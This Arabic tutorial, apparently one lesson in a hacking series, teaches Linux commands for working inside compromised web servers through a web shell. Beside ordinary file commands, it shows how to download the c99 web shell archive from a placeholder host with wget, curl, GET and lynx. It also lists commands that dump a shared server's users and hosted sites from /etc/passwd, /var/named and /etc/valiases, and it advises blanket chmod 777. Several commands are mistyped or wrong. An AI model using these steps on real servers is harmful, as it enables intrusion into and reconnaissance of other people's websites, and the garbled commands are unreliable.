#############################
أوامر اللينكس
#############################
اوامر اللينكس هي اللغة التي تستطيع التواصل بها مع الجهاز اللي مركب عليه اللينكس
وكما نعرف ان اغلب سيرفرات المواقع يكون عليها اللينكس لدلك يجب ان نعرف هده الاوامر حتى نعرف نتعامل معها في عمليات الاختراق
اهم الاوامر اللي نستخدمها كتيرا في عمليات الاختراق
id : لمعرفة الصلاحيات على السيرفر
pwd : عرض المسار الكامل للمجلد الحالي
ls -la : عرض جميع الملفات والمعلومات
cd : امر الدخول إلى مجلد معين
cat : قرائه ملف
مثآل : اذا اردت قرائه ملف اسمه alkaser.php يكون كذا الامر cat alkaser.php
mkdir : انشاء مجلد جديد
مثآل : اذا اردت انشاء مجلد بأسم hack15 يكون الامر بهذا الشكل mkdir hack15
chmod XXX : تغيير تصريح مجلد او ملف
مثآل : اذا اردت تغيير تصريح مجلد بأسم net يكون الأمر بهذآ الشكـل chmodXXX net مع تغيير XXX إلى الرقم التصريح المطلوب
touch : أنشاء ملف
مثآل : اذا اردت أنشاء ملف بأسم wolf.php يكون الأمر بهذآ الشكل touch wolf.php طبعاً الملف راح يكون فارغ وخالي من الاكواد ممكن انت تكتب فيه عن طريق تحرير الملفات في الشل
mv : نقل الملفات او تغيير تسميتها
مثآل : اذا اردت نقل ملف alkaser.php الى مكآن أخر يكون الامر بهذآ الشكل mv alkaser.php /home/???/public_html/wolf
مثآل : اذا اردت تغيير أسم ملف من a.php إلى b.php يكون الأمر بهذآ الشكل mv a.php b.php ويشـترـط ان يكون هذآ المجلـد يحمل تصريح 777 (drwxrwxrwx)
cp : نسخ الملفات
مثآل : اذا اردت نسخ ملف بأسم alkaser.php إلى مكآن آخر يكون الأمر بهذآ الشكـل cp alkaser.php /home/???/public_html/up
ونستبـــدل home/???/public_html/up إلى مسار المجلد الي يتنسخ فيه الملف ويشترط ان يكون هذآ المجلد يحمل تصريح 777 (drwxrwxrwx)
rm : حذف ملف
مثآل : اذا اردت حذف ملف aaa.php سيكون الأمر بهذآ الشكل rm aaa.phprm -r : حذف مجلد
مثآل : اذا اردت حذف مجلد aaa سيكون الأمر بهذآ الشكل rm -r aaa
* : يضاف الى الأوامر المذكوره سابقاً وهي ترمز ألى "الكل"
مثآل : اذا كنت بداخل مجلد يحتوي على ملفات كثيرة وانت تريد تغيير صلاحيات جميع هذه الملفات الى تصريح معين من المتعب ان تقوم بتغييرها ملف ملف .. فهذا الأمر يختصر المسأله بحيث تقوم مثلا بتطبيق هذا الام chmod 777*في هذي الحاله بتلاحظ ان جميع محتويات هذا المجلد وجدت تصاريحها الى التصريح المطلوب
find : البحث عن ماتريده مثآل : اذا اردت ان تبحث عن ملف بأسم a.php سيكون الامر بهذا الشكل find a.php مثآل آخر : اذا اردت ان تبحث عن امتداد معين مثل .php يكون الأمر بهذا الشكل find*.php مثآل آخر : اذا اردت ان تبحث عن أسم معين مثل b سواء كان نوعه ملف او مجلد يكون الامر بهذا الشكل find b * لو اردت انشاء ملف ثم عرف محتويات المجلد للتأكد بأنه قام بأنشاء الملف يكون الامر بهذا الشكل touch file.php;ls -ls أوامر رفع الملفآت لرفع أي ملف تريد ويفضل ان يكون مضغوط .. طبعاً يكون الملف على رابط وليس من جهازك ويوجد اكثر من امر لرفع الملفات وراح اطرح اكثر من امر لكي لا يصعب عليك رفع ملف في أي حال لان بعض أوامر الرفع لا تستجيب على بعض السيرفرات قبل ماتنفذ أمر الرفع تقوم بتطبيق "أمر التأكد" هل يمكنك رفع ملف بواسطة هذا الامر أو لا wget مثآل :wget http://www.???.com/c99.zip curl مثآل : curl -o http://www.???.com/c99.zip GET مثآل :GET http://www.???.com/c99.zip lynx مثآل : lunx -source http://www.???.com/c99.zip أمر التأكد من عمل اوامر الرفع : whichXXXXواستبدل XXX بأمر الرفـع مثلن wget اذا كان الناتج بهذآ الشكـل usr/bin/xxx معناته يمكنك أستخدام هذا الأمر في الرفع XXX تتغير إلى امر الرفع الذي طبقته unzip: فك ضغط الملفات والمجلدات المضغوطة بواسطة برنامج winzip مثآل : اذا اردت ان تقوم بفك ضغط ملف بأسم wolf.zip يكون الأمر بهذا الشكل unzip wolf.zip ويوجد أوآمر أخرى يمكنك البحث عنها والاستفاده للمعلومية : جميع الأوامر المستخدمه السابقة تستطيع تسميتها بالأوامر الداخليه لأنها تنفذ في نفس المسار الي انت بداخله وسأطرح بعض الأوآمر الخآرجـيه واغلب الاوامر الخارجيه تكون لأهداف معينة تفيدنا بجمع المعلومات cat/etc/passwd : اظهار جميع يوزرات المواقع ls/var/named : اظهار المواقع ls -la/etc/valiases : اظهار جميع المواقع + يوزراتها :: Command execute ::
هذا المكان لتطبيق الاوامر
في اليسار مساحة لكتابة الاوامر
في اليمين بعض الاوامر الجاهزة
وايضاً على شـل الـ sniper
إلى الدرس القادم